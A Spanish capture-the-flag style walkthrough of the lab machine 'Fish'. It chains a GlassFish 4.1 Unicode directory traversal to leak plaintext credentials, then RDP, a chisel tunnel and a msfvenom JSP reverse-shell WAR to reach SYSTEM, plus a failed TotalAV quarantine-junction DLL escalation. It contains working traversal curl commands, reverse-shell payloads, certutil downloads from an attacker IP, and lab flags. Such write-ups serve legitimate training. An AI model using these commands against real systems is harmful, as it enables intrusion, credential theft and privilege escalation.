the_open_door
café
ESEN

Fish

Proving Grounds PracticeMediaWindows192.168.189.168

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#glassfish#cve-2017-1000028#directory-traversal#synaman#war-deploy#chisel#port-forwarding#credentials-in-source
TL;DR. Oracle GlassFish Server 4.1 vulnerable a traversal Unicode con %c0%af (CVE-2017-1000028) que lee AppConfig.xml de Synaman con credenciales en claro (arthur/KingOfAtlantis), RDP como arthur, y una escalada por despliegue de un .war en el panel admin de GlassFish tunelizado con chisel (el 4848 solo bindea a localhost) que ejecuta la JSP como SYSTEM.

Reconocimiento

Escaneo inicial

El escaneo de puertos completo destapa una pila de servicios poco habituales:

ping -c 1 192.168.189.168     # ttl=125 → Windows
sudo nmap -sS -Pn -p- --min-rate 5000 --open 192.168.189.168
PORT     STATE SERVICE
3389/tcp open  ms-wbt-server
4848/tcp open  http
6060/tcp open  x11
7676/tcp open  jms
8080/tcp open  http
8181/tcp open  ssl/http
nmap -p135,139,445,3389,3700,4848,5040,6060,7676,8080,8181,8686,49664-49669 -sCV 192.168.189.168
PORT     STATE SERVICE       VERSION
3389/tcp open  ms-wbt-server Microsoft Terminal Services
4848/tcp open  http          Sun GlassFish Open Source Edition  4.1
6060/tcp open  x11?          (SynaMan File Manager 5.1 build 1595)
7676/tcp open  jms           Java Message Service 301
8080/tcp open  http          Sun GlassFish 4.1 (Data Web)
8181/tcp open  ssl/http      Sun GlassFish 4.1

Los dos servicios clave: GlassFish 4.1 (panel admin en 4848, admite despliegue de WAR) y Synaman File Manager en 6060, un producto comercial de Synametrics para compartir ficheros con RDP.

Acceso como arthur

GlassFish 4.1 - Directory Traversal (CVE-2017-1000028)

El 4848 sirve theme/META-INF/prototype sin sanear rutas Unicode: la secuencia %c0%af decodifica a / y salta niveles fuera del META-INF. Es una LFI pura pero limitada al filesystem del host.

curl 'http://192.168.189.168:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini'

win.ini leído por traversal

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

Un win.ini no aporta más que confirmar que la vulnerabilidad funciona; el paso interesante es enumerar directorios de Synaman:

curl 'http://192.168.189.168:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afSynaman/config'

Enumeración de Synaman/config

Alert.txt
AppConfig.xml
DirListingFooterTemplate.htm
DirListingHeaderTemplate.htm
DownloadNotification.txt
service.properties
StaticConfig.xml
umap.dat
UserMappings.xml
WorkerMappings.xml

Y de ahí, AppConfig.xml:

curl 'http://192.168.189.168:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afSynaman/config/AppConfig.xml'

Dos líneas relevantes: smtpUser=arthur y smtpPassword=KingOfAtlantis. Es un secreto en el fichero de configuración de un producto que sí valida contra la cuenta local del sistema.

AppConfig.xml con arthur/KingOfAtlantis

<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
    <parameters>
        ...
        <parameter name="smtpServer" type="1" value="mail.fish.pg"></parameter>
        <parameter name="smtpUser" type="1" value="arthur"></parameter>
        ...
        <parameter name="smtpPassword" type="1" value="KingOfAtlantis"></parameter>
        ...
    </parameters>
</Configuration>

RDP como arthur

Esas credenciales sirven para RDP (usadas por Synaman contra el usuario local del sistema, arthur):

xfreerdp /u:arthur /p:KingOfAtlantis /v:192.168.189.168

Sesión RDP como arthur

FreeRDP: 192.168.189.168
(escritorio de Windows de arthur: papelera de reciclaje, Edge)

Escalada de Privilegios

GlassFish 4848 solo en localhost - chisel

El panel de administración GlassFish (4848) bindea solo en 127.0.0.1. Con RDP dentro, se sube chisel.exe (repo) y se abre un reverse tunnel que expone el 4848 del target al 4848 local del atacante.

# atacante
chisel server --reverse -p 1234
# víctima
chisel.exe client 192.168.45.155:1234 R:4848

Chisel tunelando 4848

server: Reverse tunnelling enabled
server: Listening on http://0.0.0.0:1234
server: session#1: tun: proxy#R:4848=>4848: Listening

El panel se ve desde el atacante en http://localhost:4848 y las credenciales de GlassFish suelen ser las por defecto (admin sin contraseña en instalaciones sin cambio explícito).

Panel de GlassFish admin

Entran tal cual. La barra de estado de la consola confirma el contexto y de paso recuerda dónde estamos: usuario admin, dominio domain1 y Server: localhost, que aquí no es la Kali sino el otro extremo del túnel.

Consola de GlassFish abierta como admin sobre domain1

http://localhost:4848/common/index.jsf

User: admin | Domain: domain1 | Server: localhost
GlassFish Server Open Source Edition

Deployment
  List Deployed Applications
  Deploy an Application

Desplegar un WAR con JSP shell

msfvenom genera un WAR con una JSP que abre una reverse. GlassFish, al desplegarlo, sirve la aplicación bajo /shell/ y el contexto corre como el usuario del servicio (SYSTEM).

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.45.155 LPORT=443 -f war > shell.war

WAR generado

Payload size: 1103 bytes
Final size of war file: 1103 bytes

Levantamos el nc que recibirá la conexión:

rlwrap nc -nlvp 443

En el panel, Applications > Deploy.... Importa elegir bien el origen: Packaged File to Be Uploaded to the Server sube el .war desde la máquina del atacante a través del navegador, mientras que la otra opción, Local Packaged File or Directory That Is Accessible from GlassFish Server, espera una ruta del filesystem del target. El Context Root y el Application Name se autorrellenan a shell desde el nombre del fichero, y eso es lo que fija la URL final.

Formulario de despliegue con shell.war subido y el Context Root en shell

Deploy Applications or Modules

Location:  (o) Packaged File to Be Uploaded to the Server
               [ Browse... ]  shell.war
           ( ) Local Packaged File or Directory That Is Accessible from GlassFish Server

Type: Web Application
Context Root:     shell
Application Name: shell

Tras el OK, la aplicación aparece desplegada y habilitada, con motor web y un enlace Launch que es justo el disparador que buscamos:

La aplicación shell desplegada y habilitada en la lista de Applications

Deployed Applications (1)
Select  Name   Deployment Order  Enabled  Engines  Action
[ ]     shell  100               si       web      Launch | Redeploy | Reload

GlassFish lista los enlaces de la aplicación shell recién desplegada

Web Application Links
Application Name: shell
Links:
  [server]  http://Fishyyy:8080/shell
  [server]  https://Fishyyy:8181/shell

Los enlaces que ofrece GlassFish apuntan al hostname del servidor (Fishyyy) y no a la IP, así que antes de pinchar hay que resolverlo en el atacante añadiendo 192.168.189.168 fishyyy a /etc/hosts:

sudo nano /etc/hosts

el /etc/hosts abierto en nano con la línea 192.168.189.168 fishyyy recién añadida al final

127.0.0.1       localhost
127.0.1.1       kali
...
192.168.189.168 fishyyy

Visitar https://fishyyy:8181/shell/ dispara la JSP y la reverse cae como NT AUTHORITY\SYSTEM (el servicio GlassFish corre bajo esa cuenta en la instalación por defecto).

el navegador en fishyyy:8181/shell/ dispara la JSP y el nc recibe una shell SYSTEM

listening on [any] 443 ...
connect to [192.168.45.155] from (UNKNOWN) [192.168.189.168] 50500
Microsoft Windows [Version 10.0.19042.1288]
(c) Microsoft Corporation. All rights reserved.

C:\glassfish4\glassfish\domains\domain1\config>whoami
nt authority\system

local.txt

C:\glassfish4\glassfish\domains\domain1\config>type C:\Users\arthur\Desktop\local.txt && whoami
165036bf6c4e900bca363cafaedb665d
nt authority\system

local.txt como SYSTEM

Proof.txt

C:\glassfish4\glassfish\domains\domain1\config>type C:\Users\Administrator\Desktop\proof.txt
57a4875bfba6f9f6eb7930bdb6e169e1

proof.txt como SYSTEM

Vía alternativa fallida: TotalAV

La caja lleva instalado un TotalAV 2020 y la escalada se intentó también por ahí. No llegó a shell, pero merece contarse entero porque el fallo es instructivo: la primitiva funcionó y lo que no funcionó fue el disparo.

El bug: restaurar desde cuarentena con una junction

searchsploit tiene el aviso para esa versión:

searchsploit 'Total Av priv'
searchsploit -m windows/local/47897.txt
 Exploit Title                                | Path
----------------------------------------------|---------------------------
TotalAV 2020 4.14.31 - Privilege Escalation   | windows/local/47897.txt

El propio fichero resume la idea en cuatro pasos:

   Proof of Concept
1. Plant the malicious file in this case we use DLL file
2. To exploit the vulnerability antivirus must detect the malicious dll
3. Move it to quarantine.
4. Attacker must create NTFS directory junction to restore

El razonamiento tiene su gracia: el servicio del antivirus corre como SYSTEM y, al restaurar un fichero, lo devuelve a la ruta original que él mismo guardó, sin comprobar si ese directorio sigue siendo el que era. Si entre la cuarentena y el restore convertimos ese directorio en una junction NTFS hacia un sitio privilegiado, es el antivirus quien escribe ahí por nosotros. El resultado es una escritura arbitraria como SYSTEM, con contenido que elegimos.

El intento

Primero el cebo: una DLL con payload que el antivirus tenga que detectar sí o sí. Se llama version.dll porque ese es justo el nombre que se quiere secuestrar después.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.45.155 lport=443 -f dll > version.dll
python3 -m http.server 80

msfvenom genera version.dll y se sirve por HTTP

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of dll file: 9216 bytes

Se descarga a un directorio de usar y tirar dentro del perfil de arthur, que es el que luego se convertirá en junction:

mkdir mount
cd mount
certutil.exe -f -urlcache -split http://192.168.45.155/version.dll version.dll

certutil descarga version.dll al directorio mount de arthur

C:\Users\arthur\mount>certutil.exe -f -urlcache -split http://192.168.45.155/version.dll version.dll
****  Online  ****
  0000  ...
  2400
CertUtil: -URLCache command completed successfully.

En vez de esperar a que la protección en tiempo real reaccione, se abre la propia consola del antivirus. La opción está escondida: dentro de Quick Scan, arriba a la derecha, hay un enlace Custom scan que es el que deja elegir la ruta.

la consola de TOTAL AV en la sección Quick Scan, con el enlace Custom scan resaltado arriba a la derecha y el aviso de 6 DAYS REMAINING abajo

TOTAL AV
Quick Scan   Short on time? Quick scan will help keep your system safe
             Custom scan..
Object:   Pending Scan
0 Files Scanned | 0 Directories Scanned | 0 Threats Found | 0 Threats Ignored
6 DAYS REMAINING  Activate Now

Desde ahí se le pide un escaneo personalizado apuntando al fichero concreto:

Escaneo personalizado de TotalAV apuntado al version.dll de arthur

Folders and files to scan                    1 File | 0 Folders
  C:\Users\arthur\mount\version.dll
[ Start Custom Scan ]

Y lo detecta, con la acción Quarantine ya seleccionada por defecto, que es exactamente lo que interesa:

TotalAV detecta version.dll como BDS/ShellCodeF.641 y propone cuarentena

1 Threat Located
Malware - High Risk
File Name    File Path                          Threat Name         Action
version.dll  C:\Users\arthur\mount\version.dll  BDS/ShellCodeF.641  [Quarantine]

Con el fichero ya en cuarentena, C:\Users\arthur\mount queda libre para reapuntarlo. La junction se crea con CreateMountPoint.exe, de las symboliclink-testing-tools de Project Zero:

wget https://github.com/googleprojectzero/symboliclink-testing-tools/releases/download/v1.0/Release.7z
7z x Release.7z
python3 -m http.server 80

7z extrae las symboliclink-testing-tools y aparece CreateMountPoint.exe

Extracting archive: Release.7z
Everything is Ok
Files: 14

47897.txt                   CreateHardlink.exe      CreateNtfsSymlink.exe
BaitAndSwitch.exe           CreateMountPoint.exe    CreateObjectDirectory.exe
CreateDosDeviceSymlink.exe  CreateNativeSymlink.exe CreateRegSymlink.exe
CreateSymlink.exe           DeleteMountPoint.exe    DumpReparsePoint.exe
LICENSE.txt                 README.txt              SetOpLock.exe

El destino elegido es el directorio del .NET Framework, donde una version.dll plantada tiene alguna posibilidad de acabar cargada por un proceso privilegiado:

certutil.exe -f -urlcache -split http://192.168.45.155/CreateMountPoint.exe CreateMountPoint.exe
CreateMountPoint.exe C:\Users\arthur\mount C:\Windows\Microsoft.NET\Framework\v4.0.30319
dir mount

tras la junction, dir mount lista el contenido de v4.0.30319

C:\Users\arthur>dir mount
 Volume in drive C has no label.
 Volume Serial Number is 08DF-534D

 Directory of C:\Users\arthur\mount

10/29/2021  12:33 AM    <DIR>          .
10/29/2021  12:33 AM    <DIR>          ..
12/07/2019  02:50 AM    <DIR>          1033

dir mount ya no enseña la carpeta vacía de antes sino el contenido de v4.0.30319: la junction está puesta. Ahora se le pide al antivirus que restaure:

la pestaña Quarantine de TotalAV con version.dll y el botón Restore

Quarantine
1 Quarantined Item.

File Name    Original Location                  ThreatName          Quarantine Time
version.dll  C:\Users\arthur\mount\version.dll  BDS/ShellCodeF.641  29 Oct 2021 05:00
[ Delete ]  [ Restore ]

Y la primitiva funciona. El servicio del antivirus escribe la DLL siguiendo la junction, así que version.dll acaba dentro del directorio del .NET Framework, un sitio donde arthur no tiene permiso de escritura:

dir mount filtrado por version confirma la DLL de 9.216 bytes dentro del directorio del framework

C:\Users\arthur>dir mount | findstr version
12/07/2019  02:10 AM            86,000 Microsoft.Build.Conversion.v4.0.dll
10/29/2021  05:02 AM             9,216 version.dll

Los 9.216 bytes cuadran exactamente con el Final size of dll file que anunció msfvenom: es nuestra DLL, entera, en C:\Windows\Microsoft.NET\Framework\v4.0.30319.

Por qué se quedó ahí

Colocada la DLL, faltaba que algún proceso privilegiado la cargase. Se levanta el handler y se reinicia la caja desde el RDP para forzar el arranque de los servicios:

el multi/handler a la espera mientras se reinicia la caja desde el RDP

msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.45.155
msf exploit(multi/handler) > set lport 443
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.45.155:443
C:\Users\arthur>shutdown /r /f /t 0

La conexión nunca llegó, y en la propia captura hay dos motivos por los que no podía llegar:

  • El handler se quedó con el payload por defecto de multi/handler, generic/shell_reverse_tcp, sin un set payload windows/meterpreter/reverse_tcp. Aunque la DLL se hubiera ejecutado, al otro lado esperaba un handler que no habla el mismo protocolo que el stager que se generó.
  • Nada garantiza que un proceso vaya a resolver version.dll desde C:\Windows\Microsoft.NET\Framework\v4.0.30319. La arquitectura no era el problema (Framework sin sufijo es el árbol de 32 bits y msfvenom avisó de que seleccionaba x86), pero el hijack necesita un cargador que busque ese nombre en ese directorio, y aquí no apareció ninguno.

La vía se abandonó a favor del despliegue del WAR, que da SYSTEM directo y sin depender de un reinicio. Queda como recordatorio de que una primitiva conseguida no es una escalada conseguida.

Cadena de ataque

GlassFish :4848 (traversal Unicode %c0%af)
  └─ Synaman/config/AppConfig.xml -> arthur / KingOfAtlantis
     └─ RDP -> sesión de arthur
        └─ chisel R:4848 -> panel admin GlassFish
           └─ Deploy shell.war (JSP reverse)
              └─ /shell/ -> reverse como SYSTEM
                 └─ local.txt + proof.txt

Lecciones aprendidas

  • Los servidores Java antiguos (GlassFish 4.x, JBoss, Tomcat) siguen apareciendo en labs y en producción: sus paneles admiten despliegue de WAR, que es RCE con contexto del servicio. El propio panel es la superficie más peligrosa.
  • La traversal Unicode %c0%af (secuencia 0xC0 0xAF mal decodificada a /) es el bug histórico de servidores Java/IIS; sigue funcionando en despliegues sin parche.
  • Un panel escuchando solo en localhost cambia de bando en cuanto haya RDP/RCE dentro: chisel (o ssh -L) lo expone en segundos.
  • Los productos de tratamiento de ficheros (Synaman, SolarWinds, ManageEngine) guardan credenciales en XML de configuración con "cifrados" hechos en casa (a veces solo XOR o texto): es rutina rebuscar por su carpeta de instalación en cuanto haya lectura arbitraria.
  • Los servicios Java (GlassFish, Tomcat, Jenkins) corren por defecto como SYSTEM/Local Service en Windows; un despliegue autorizado en el panel equivale a un shell privilegiado.
  • El abuso del restore desde cuarentena (plantar un fichero, dejar que el antivirus lo detecte, convertir su carpeta en una junction NTFS y pedir la restauración) se repite en varios productos: el servicio corre como SYSTEM y confía en la ruta que él mismo apuntó.
  • Una primitiva no es una escalada. En el intento con TotalAV se consiguió la escritura arbitraria como SYSTEM y aun así no hubo shell, porque el DLL hijacking necesita además un proceso que cargue ese nombre desde esa ruta. Conviene separar lo demostrado de lo supuesto, y revisar el handler antes de culpar al exploit.
Cheatsheet de comandos 17 comandos

Repaso rápido